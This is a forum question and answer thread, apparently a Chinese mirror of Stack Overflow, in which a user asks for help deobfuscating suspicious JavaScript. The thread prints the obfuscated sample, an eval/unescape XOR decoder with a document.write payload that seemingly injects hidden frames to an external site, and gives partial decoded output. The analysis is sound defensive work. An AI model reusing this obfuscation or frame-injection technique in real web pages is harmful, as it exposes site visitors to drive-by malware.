【问题标题】:obfuscated javascript code混淆的javascript代码
【发布时间】:2011-06-29 02:41:16
【问题描述】:

我遇到了一些我认为是恶意的 java 脚本代码,但大部分都被混淆了。我想知道是否有人可以帮助我弄清楚这段代码的实际作用。

eval(unescape('function n48ec61ae(s) {
    var r = "";
    var tmp = s.split("12113781");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "608421");
    for( var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4);
    }
    return r;
}
'));
eval(unescape('document.write(n48ec61ae('') + 'GoqwpF@dmgiEFxipviJBkSbzbjxy,_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. HWBR@QTAOKRCE$5!A@n~cqa PDVJH xw| $_RE@!oq~t:;5{s0ram`axsau2ows2ulaoizm6<21wnkdpicp5hx6vms@q042enA1?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[I@^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,VQWNTDXIF@;ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));'));
// -->

提醒一下,不要执行此代码。

【问题讨论】:

  • 除非 javascript 解析函数中存在错误,否则n48..() 似乎可以安全运行。然而,第二行中有一些错误,使其无法运行(当然没有 eval)。似乎想将 iframe 插入到坏站点,但我只能通过删除 Goq... 中的 's 并将其作为 arg 传递给 n48...(s) 来提取部分 url。
  • 嗯,我不完全确定,因为我没有脚本,它在 html cmets 中给了我这个和一个空白页,底部有这一行
  • 它在 chrome 中似乎没有多大作用……除非我做错了什么。它似乎在我的屏幕上写了一堆垃圾。就是这样。
  • ninjagecko 是对的 - 它尝试打印如下内容:D^ikiCC{fuleJFiOfz\g{v!USEH3u^{wjAAtcx_)oblg?\hpqsl]r!!amsshwrAI\a ]eI>oho]q]rXRZQK828'4*?RPBH[?*2*&amp;JX&lt;PGDR[F=PE$,(KPGP&lt;QXCK?R=@2$C&lt;frame NAME="top" SRC="http://ww0l\f_dzoay0k{s,pg^bkve:6.5ohf_o\al-\z2zem=r/90afE3;;+383h&lt;" Z[NDTFQJAA_t]s\!M@OG@%iv{]gw/gv TOJK_knvu8`qfsb$SHSDHLUDCYAK.'PHTKGWIFHEJYJ9$MJSLMNKS@@+XS)GQ@OG?XO=CNC+1!!LMOBN@LI@=8iy^rjretJHrnamjrjl?{jsfr^lA> 7jl{pD"
  • 好吧,document.write 非常简单,但它试图打印的内容可能包含恶意脚本标签,我不确定这只是乱码还是实际可执行的混淆代码。跨度>

标签: javascript deobfuscation


【解决方案1】:

傻兔子...技巧适用于您本来打算丢弃的虚拟机映像...

我在这方面花了很多时间,我想我可以确认这太混乱了,以至于它不能再做任何事情了。

你会得到这个:

<html>D`i]eI>vdsq\H>kW^v`fly*ZLJI3ujouk@BuazbrkzkA&ckwo{lgm*dqrpcnl? +=@.k^fjFAaqhmewax!UPLLB0.0'4*?RPBH[?*,* FRAMEBORDER=0$<O<OCNYCKKV?A1%A>ku\tcPHRFJlozXW?<!cmzn6/-un3mdg\alo]o.com/nkdeeza280-{feasffr1hl2rgoDq.11bcC-7;'17,cI!YPYJLF[K><frame NAME="jo{]cs3fgy+"[PKE]cxzo5]s`nk&$O@SDHLUDCYAK.+NFL?ITGJBBDU>)9OCPMUOHVF>'XO&HZESF<SXCKNI*.(ZQQKOCMKB@/jp^r^viu=Gyq^rkljnGJ3pvgq`ognIB/jl{pD

问题是需要另一个函数来解读它。注意它是如何有&lt;html&gt; 以及FRAMEBORDER=&lt;frame 的?这意味着有些东西能够将其分解成块并重新组装。有这么多噪音的事实也表明有一个函数可以进一步解密这个超出n48ec61ae的范围。

【讨论】:

  • 谢谢,我想如果我禁用 noscript 我会得到它,但我不相信它会这样做。
  • 哦,没问题。我其实正好有一个虚拟机,反正我是要删除的,所以我花了几分钟,开机,试了试。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2023-04-08
  • 2021-11-28
  • 1970-01-01
  • 2018-01-20
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多